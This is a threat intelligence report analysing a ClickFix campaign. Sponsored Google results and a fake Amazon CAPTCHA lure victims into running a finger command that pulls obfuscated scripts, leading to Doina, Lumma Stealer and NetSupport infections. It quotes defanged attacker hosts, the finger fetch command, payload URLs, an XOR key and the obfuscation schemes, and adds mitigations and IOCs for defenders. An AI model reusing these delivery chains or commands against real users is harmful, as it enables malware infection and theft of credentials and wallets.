Introduction
Attackers often exploit trusted brands in their initial access lures, either by spoofing their logos or by abusing legitimate features. In the past few months, Huntress investigated incidents that began with ClickFix lures using ChatGPT, Google Docs, and many more trusted tools. In an attack method that has already struck at least three Huntress customers, a threat actor using paid search results led victims into ClickFix-style social engineering that, as is usually the case, prompts the victims to run a command in their terminal.
But the command used in this lure unusually leverages a decades-old (and infrequently used) network utility, finger, to initiate a convoluted and elaborately obfuscated sequence of attack scripts that, eventually, led to the victim's computer being infected with at least three completely different forms of infostealer and remote access malware. Threat actors have been abusing the finger utility, which (although present on most modern computers) is not well understood by most computer users, in ClickFix attacks for at least a year.
In the course of the investigation, Huntress Labs' Adversary Tactics observed a full infection chain, captured and reverse-engineered the components, and analyzed network traffic sent and received by the various payloads, in order to build a complete picture of the attack method.
A Google search, a spoofed Amazon login, and a fake CAPTCHA
Figure 1: The sponsored Google search result that led to a fake Amazon login page
The attack started with a simple search. The top sponsored result at the time of the attacks for the keyword "amazon business" (shown above) was hosted on a deceptive-looking subdomain of an attacker-controlled domain: orders-amazon[.]com[.]advancedfences[.]com.
The malicious link redirected to a fake Amazon login page, hosted in a private Google Sites cloud storage location, sites.google[.]com/view/ch-pc/sign-in. The page prompted the user to enter their email or phone number.
Figure 2: Spoofed Amazon login page
After the user hits "submit," the page pops up a fake CAPTCHA dialog. Clicking a button labeled "I'm not a robot" saves a pastejacked command to the user's clipboard, and a pop-up window instructs the user to run the command in the Windows Run box.
Figure 3: The ClickFix attack prompts the user to paste a command into their Run dialog on Windows computers
Although the following analysis covers Windows-specific payloads, the attack was cross-platform: Users who visited the page with a browser User-Agent that references macOS received alternate instructions to run a script in the Mac Terminal application, but the destination URL in that instance—hxxp[://]ashevilleroofingcontractor[.]com/curl/bc9e2dac08fb4f83dddb44f89bf7082bb4134697fbf6a99ad8ce30c634e9fe8a—was offline at the time Huntress conducted this research.
Stage 1: Literally giving users the finger
The entered commands launch the built-in utility finger.exe to communicate with a specific user account on the attacker-controlled domain grillrecipespro[.]com.
The finger command is ancient, by internet standards, predating the existence of the web itself by nearly two decades. In its halcyon heyday, people who used the internet would interact directly with Unix shell accounts on remote servers; finger offered a way for someone who owned an account to publish their contact information, a clever quotation or two, even ASCII art to what was essentially a personal bulletin board posted to their virtual office door, inside a file named .plan, stored in the root of the user's shell account directory. But for most of the past year, finger has developed a new life as a LOLbin abused in ClickFix attacks.
In this attack, the threat actor has placed a Windows script in a .plan file tied to a user account. The ClickFix command that invokes finger is, itself, obfuscated (in a rudimentary way) by breaking up the characters that make up the command with a comma, caret (^), hyphen, and underscore characters, which the Windows command interface helpfully ignores. The command, pasted into a text editor, looks like this:
Figure 4: The ClickFix command text
The command itself is not readily visible in the Run dialog because the threat actors have crafted the command line with a suffix that uses extra spaces and hyphen characters to trail the actual command. To an end user, the effect is that the content of the Run dialog seems to say, simply, "Push the Enter key."
Figure 5: The Run dialog conceals the command
The effect of the command line, however, is far from benign. It instructs the Windows command interface to execute the content contained within the .plan file at the other end of the command finger DLVBUCeFfF@grillrecipespro[.]com.
Figure 6: The top of the adversary-controlled user account's .plan file
The script content inside the remote .plan file is "hidden" with the use of 68 extra carriage-returns that put the weaponized content beyond the screen height of a typical terminal console. (Finger commands transmit plaintext over port 79/tcp by default, which should make them easy to detect or block, but since nobody uses finger anymore, most networks don't block this content.)
Well below the top of the screen, the .plan file contains a script with instructions to trigger the first stage of the attack, which requires an executable Python interpreter named ipyw32.exe that is included in a Python distribution called IronPython. So the script spawns curl to download and unpack IronPython.3.4.2.zip from its repository location, github[.]com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip.
Figure 7: Don't you love it when a .plan comes together?
"The script places the IronPython ZIP file in the user's Temp directory, as a file with a .pdf extension." It then uses the tar command (which is now a part of modern Windows installations) to unpack the .zip; The script then navigates to the \net462 folder inside the nested structure of the unzipped archive, and passes a Base64-encoded, zlib-compressed Python script data blob directly to the ipyw32.exe program as a command flag.
The end result of this process retrieves and executes the content from hxxp://grillmasterchef[.]com/90e4a147-1234-505c-a024-062e543b5df8/timer6, and this is where it gets interesting.
Stage 2: Begin the barbeque
The timer6 file is a Python script that has been encoded in Base64, which has then had some of the latin alphabet characters substituted with cyrillic letters. Since the Base64 encoding scheme doesn't interpret cyrillic characters, a straight decode won't work. The script reverses the substitution of these alternate letters back to ASCII characters, then decodes the Base64 blob.
Figure 8: The top of the still-encoded timer6 Base64 (cyrillic lowercase letter "Yo" highlighted), with the script's cyrillic character/latin character substitution rules (inset)
Several cybersecurity vendors appear to believe that timer6 leverages a now-deprecated adversary simulation framework called Veil, which was designed to obfuscate Metasploit Meterpreter Python scripts to make them less easily detectable during penetration testing. That's arguably accurate, but not entirely correct: In reviewing the timer6 script, it appears to leverage some aspects of Veil's Python shellcode_inject/flat.py—in particular, it contains the same HeapCreate flag, HeapAlloc flag, buffer-copy pattern, and native API sequence. Veil explicitly describes this module as designed for inline shellcode injection, which is one thing that timer6 does. But there are other aspects of timer6's behavior that stray from what the full Veil package does by default.
The content of timer6, after decoding, is another Python script.
Figure 9: The second layer of timer6, a Python script decoded from Base64, which contains another decoding layer for XORed data that has been Base64 encoded
This shellcode layer is protected with a 19-byte XOR key (Hex: 84 0d ff da 80 29 b6 1b 52 9b 42 40 5d 55 aa 80 a5 7e 7c) that is embedded within the script as a separate Base64 blob.
Figure 10: The XOR key is in the house with you right now
When unpacked and decoded, the output of this script is a Windows PE malware loader, which executes as soon as the script decodes it. This malware loader searches the disk for a specific .ini file that contains a URL. If it finds the URL in the .ini file, it downloads whatever is at the other end (using the User-Agent string Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36), then performs RC4 decryption of the downloaded file.
In this instance, the loader connected to another barbeque-themed URL, hxxps://grillmasterchef[.]com/90e4a147-1234-505c-a024-062e543b5df8/v6, and decrypted the contents, which was another malware executable. The RC4 decryption key is prepended as the first 64 bytes of this v6 file.
The v6 malware, once decrypted, is automatically injected into memory by the script. The security vendor consensus is that this is a malware called Doina, which can serve as a delivery mechanism for other malware. In 2024, security vendor Halcyon reported that Doina was implicated as a precursor step to ransomware attacks, but Doina has multiple features and a modular architecture that make it useful as a general-purpose RAT, infostealer, and profiler tool.
Immediately after Doina began running, it began to communicate with the same grillmasterchef server from which it originated, sending a series of HTTPS POST communications, then retrieving a ZIP file from the URL hxxps://kiriosyka[.]com/KsxmmKiN5N0j/sqr-viewertr6: a 52MB compressed file that contains a full, portable instance of the Node.js code interpreter, and a malicious, heavily obfuscated index.js script. The malware unpacks this to the location C:\ProgramData\NodeView, then runs the (non-malicious) node.exe interpreter, passing it the index.js file as an argument.
Figure 11: Unzipped contents of the sqr-viewertr6 file
It's also notable that other elements of this attack deploy their various payloads, logs, and related files to both the root of the C:\ProgramData\ path, and to folders beneath that directory.
Stage 3: Cranking up the heat with more malware
While the index.js is a form of malware in its own right, it is also designed with a modular architecture that can download, decrypt, and inject various kinds of encrypted malicious payloads into memory as fileless malware.
In this investigation, the Node component pulled down two additional files, which then began beaconing and performing malware-esque activities. The two files were given randomized names that resemble GUIDs; One is only about 17KB in size, the other greater than 19MB in size. Neither has a discernible PE header, and both have high entropy. So what's going on here?
All three files are part of a package. The index.js component decrypts both files using AES-256-GCM, in which the first 12 bytes of each file is the nonce value, and the next 16 bytes are the key. It then executes the smaller file.
It turns out that the smaller of the two files is a shellcode reflective DLL injector (or sRDI), essentially a loader for the larger file. The larger file is an infostealer malware, allegedly Lumma Stealer. The sRDI component injects the stealer into memory through process hollowing, and the malware immediately begins beaconing.
As part of its initial check-in with its C2, the stealer malware transmits the hostname, username, and other profiling information as part of an initial HTTPS POST connection. It then switches gears and communicates over the websocket protocol for continuous monitoring.
Figure 12: Packet capture of websocket session traffic generated by the malware, receiving file name conventions to search for from the C2 server (red), and sending a unique identifier and "heartbeat" during idle time (blue).
The websocket connection included the URL pointing to the suspected Lumma Stealer download package, as well as filenames and other strings indicating software targets of interest to the stealer:
Browsers (Chrome, Edge, Firefox, Opera)
Cryptocurrency wallet apps (Ledger, Electrum, Atomic Wallet)
Password managers (LastPass, Dashlane, 1Password, NordPass, RoboForm)
Email clients
Command processors like PowerShell
As with many of the other elements of this attacker infrastructure, the C2 addresses the malware communicates with are all themed around barbeque: thegrilljournal[.]com and homelygrill[.]com are used for exfil after an initial check-in to perfectgrillrecipes[.]com. The malware originates from the domain liokida[.]com (which, as far as we can tell, is not a barbeque term), and the stealer contains this domain embedded inside itself as a string. An earlier version of the attack also linked to the stealer payload from kiriosyka[.]com.
Interestingly, there are two forms of periodic updates that the Node malware, index.js performs: It can call for an update file that contains both the stealer and the reflective loader executable payloads and the Node.js interpreter files (which total at roughly 58MB in size), or it can retrieve just the payload files (index.js and the two .tmp files, at just under 20MB). To get the smaller-sized update, the malware calls the same URL with the query string ?exclude_bins=true at the end.
Every file retrieval request returns an archive with a unique hash, because the server hosting these payloads appends a random amount of null bytes to the archive at the time of the request. The payload inside the archive files changed once or twice per day.
Figure 13: Unzipped contents of the sqr-viewertr6 file downloaded with the exclude_bins=true query string, which does not include the Node executable
Finally, we observed yet another malicious component installed as part of the delivery of this malware package: A pirated copy of an RMM called NetSupport was also deployed inside the C:\ProgramData directory under the nonstandard folder Prodclear. The license key and copyright information for this RMM indicate the RMM is at least eight years old. The RMM maintains extensive log files of its activity within a subdirectory.
NetSupport's communication happens over an HTTPS connection that uses the nonstandard port 725/tcp, and this particular installation communicates with the IP address 167.148.201[.]106. The C2 traffic generated by the NetSupport Client software connects to the HTML file fakeurl.htm at the same IP address.
Figure 14: The NetSupport Client software executable was cryptographically signed eight years ago.
Stage 4: Chef Boyardon't and the Gastro Infra
As previously mentioned, the c2 and payload delivery .com domains used by the malware mostly sound like titles of a high-end magazine about cooking with charcoal: GrillRecipesPro, TheGrillJournal, EmbersAndBites, GrillMasterChef, and HomelyGrill all serve as both C2 and payload delivery domains. We found several relations between the domains, from common hosting and DNS servers to multiple payloads communicating with or being delivered from the domains.
Figure 15: Relationship map tying together C2 domains and payload delivery domain Liokida to multiple Lumma Stealer executables
Figure 16: URL, domain, and file relationships between Doina C2 domains and payload delivery domain Kiriosyka
The decidedly non-foody domains Liokida and Kiriosyka host the Lumma Stealer/Node.js payload packages, as well as several other malicious payloads that were not called during this attack.
Figure 17: Common URL patterns used to deliver payloads from Kiriosyka and Liokida domains
We also observed an IP address (167.148.201.106) used as a C2 for the NetConnect Client RMM payload. The IP address is used solely for hosting the legitimate website for a restaurant based in Detroit, but that domain has not been observed being abused. The C2 traffic connected directly to the IP address.
Figure 18: IP address linked to a restaurant domain being used for C2 communications
Figure 19: The deobfuscated Doina code calls the Lumma Stealer download and executes it
Mitigation
The best defense against ClickFix is user awareness of what it is and how it works. The attacks succeed because a large proportion of users simply don't recognize the risk of following an on-screen prompt. If you've made it this far, please tell your colleagues, family, and friends what to watch for. No legitimate CAPTCHA should ever ask anyone to paste an arbitrary line of text into an operating system command prompt. It just isn't how CAPTCHAs work.
Google's paid ad function can unwittingly host malicious links, in a technique commonly known as malvertising. Back in August, Huntress analysts reverse-engineered a MacSync Stealer sample collected from an incident that began with the user clicking on a sponsored Google result after searching for how to install Claude on a Mac.
Luckily for defenders, the way Google ad-clicks are redirected for billing the advertiser leaves some key signifiers for detection: aclk in the URL path and gclid in the resulting query strings.
Figure 20: The identifiers that Google uses to bill advertisers when users click on a sponsored result
These parameters indicate that a user reached a site through a Google-sponsored ad, even if later redirects obscure the original source. Investigators can use these markers in browser history, proxy logs, or URL telemetry to reconstruct the ad-to-malicious-site chain and connect related campaigns or domains. Reporting these identifiers to Google can kneecap attackers by cutting off their access to the ad ecosystem (at least, until they create a new account and start again).
Huntress customers and partners have an additional tool in their arsenal: A new feature called Attack Reduction is available now as part of Huntress Managed ESPM Early Access. ClickFix attacks typically prompt Windows users to open the Windows Run dialog box in order to enter a command; This feature enables admins to toggle access to the Run dialog for the majority of users who never need it. (See how it works and what it blocks.)
Figure 21: Closeup of the Attack Reduction feature that prevents users from opening the Run dialog in ESPM Early Access
It doesn't stop every form of ClickFix—notably, attackers sometimes ask users to open PowerShell, the command prompt, or even to enter commands into the address bar in Windows Explorer—but it's a very commonly abused method that most people on managed endpoints won't miss.
As reported in our newly released Tragic Quadrant, ClickFix accounted for about 2.2% of the Managed Endpoint Detection and Response (EDR) detection signals Huntress has seen this year so far, but nearly 99% of those detections were high severity. Posts on social media sites still show that lots of users are getting tricked into falling for a ClickFix scam on a daily basis.
Just one malicious command pasted into a Run box can open the door to infostealers, remote access tools, ransomware, or other malicious software. The results can be devastating, leading to financial loss and, potentially, compromise of an entire enterprise. But just like we learned to look both ways before crossing the street, we'll learn not to do anything a dialog box on a web page tells us to do, just because it asks. An ounce of skepticism is worth hours of remediation.
Huntress has added the indicators of compromise below to our GitHub.
Network Indicators of Compromise (IOCs)
Item | Description |
|---|---|
| Sponsored Ad URL - Malicious link hosted in sponsored Google result |
| Ad-click markers/parameters |
| Fake CAPTCHA/ClickFix landing page for fake spoofed Amazon login |
| Alternate macOS payload URL |
| Attacker infrastructure - Finger/.plan infrastructure |
| Indication of the use of the Finger protocol |
| Attacker infrastructure |
| Attacker infrastructure |
| Attacker infrastructure |
| Attacker infrastructure |
| Timer6 delivery URL |
| V6 stage URL |
| Node package URL |
| Non-barbecue-themed domain reported as hosting Node/stealer packages and embedded in the stealer. |
| Rogue NetSupport IP |
| Indication of the use of NetSupport Client's default communications protocols |
| Rogue NetSupport URL |
Binary Indicators of Compromise (IOCs)
Item | Description |
|---|---|
| Legitimate archive downloaded and used to provide ipyw32.exe; the report says it was written in Temp with a .pdf extension before extraction. |
SHA256: | Obfuscated Python script with Base64/Cyrillic substitution and an XOR-protected shellcode layer. |
| RC4-decrypted V6 response body |
| Node runtime and associated script/package artifacts; the interpreter may be legitimate, while the script/package is described as malicious. |
| Node runtime ZIP file |
| NetSupport Client executable and reported C2 path. The executable is a signed, legitimate RMM binary used in a malicious context. |
. SHA256: | Lumma Stealer payload, decrypted |
. SHA256: | Lumma Stealer payload, decrypted |
. SHA256: | Lumma Stealer payload, decrypted |
. SHA256: | Lumma Stealer payload, decrypted |
. SHA256: | Lumma Stealer payload, decrypted |